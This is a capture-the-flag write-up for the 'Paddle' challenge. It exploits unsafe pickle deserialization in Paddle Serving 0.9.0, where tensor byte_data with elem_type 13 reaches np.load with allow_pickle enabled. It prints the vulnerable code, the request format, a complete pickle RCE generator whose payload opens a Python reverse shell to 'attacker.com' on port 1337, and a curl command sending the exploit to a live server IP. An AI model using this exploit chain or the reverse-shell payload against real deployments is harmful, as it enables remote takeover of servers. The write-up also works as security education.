Paddle

Tags: Clone-and-Pwn, web

Flexible to serve ML models, and more.

For this challenge, we are given a Dockerfile that installs the latest version of Paddle Servinge and runs the built-in demo.

FROM python:3.6-slim
RUN apt-get update && \
    apt-get install libgomp1 && \
    rm -rf /var/lib/apt/lists/*
RUN pip install \
    paddle-serving-server==0.9.0 \
    paddle-serving-client==0.9.0 \
    paddle-serving-app==0.9.0 \
    paddlepaddle==2.3.0
WORKDIR /usr/local/lib/python3.6/site-packages/paddle_serving_server/env_check/simple_web_service
RUN cp config_cpu.yml config.yml
RUN echo "rwctf{this is flag}" > /flag
CMD ["python", "web_service.py"]

Looking at the codebase, we can find Pickle deserialization in the python/pipeline/operator.py file. So if can control the tensor argument of proto_tensor_2_numpy, we can get RCE.

This method is called in unpack_request_package and because Op is the supertype of all the operator classes, it will get called when the server processes our request.

class Op(object):
    def proto_tensor_2_numpy(self, tensor):
        # [...]
        elif tensor.elem_type == 13:
            # VarType: BYTES
            byte_data = BytesIO(tensor.byte_data)
            np_data = np.load(byte_data, allow_pickle=True)
        # [...]
    
    def unpack_request_package(self, request):
        # [...]
        for one_tensor in request.tensors:
            name = one_tensor.name
            elem_type = one_tensor.elem_type

            # [...]
            
            numpy_dtype = _TENSOR_DTYPE_2_NUMPY_DATA_DTYPE.get(elem_type)
            
            if numpy_dtype == "string":
                # [...]
            else:
                np_data, np_lod = self.proto_tensor_2_numpy(one_tensor)
                dict_data[name] = np_data
                if np_lod is not None:
                    dict_data[name + ".lod"] = np_lod

So request should contain:

{
    "tensors": [
        {
            "name": ":psyduck:",
            "elem_type": 13,
            "byte_data": "pickled data"
        }
    ]
}

Where pickled data can be generated with the classic Pickle RCE payload:

import pickle
import base64

reverse_shell = """export RHOST="attacker.com";export RPORT=1337;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'"""

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(reverse_shell,))

print(base64.b64encode(pickle.dumps(PickleRce())))

So finally we can send the exploit to get a reverse shell:

curl -v http://47.88.23.73:37068/uci/prediction -d '{"tensors": [{"name": ":psyduck:", "elem_type": 13, "byte_data": "gANjcG9z..."}]}'
cat /flag

rwctf{R0ck5-with-PaddLe-s3rv3r}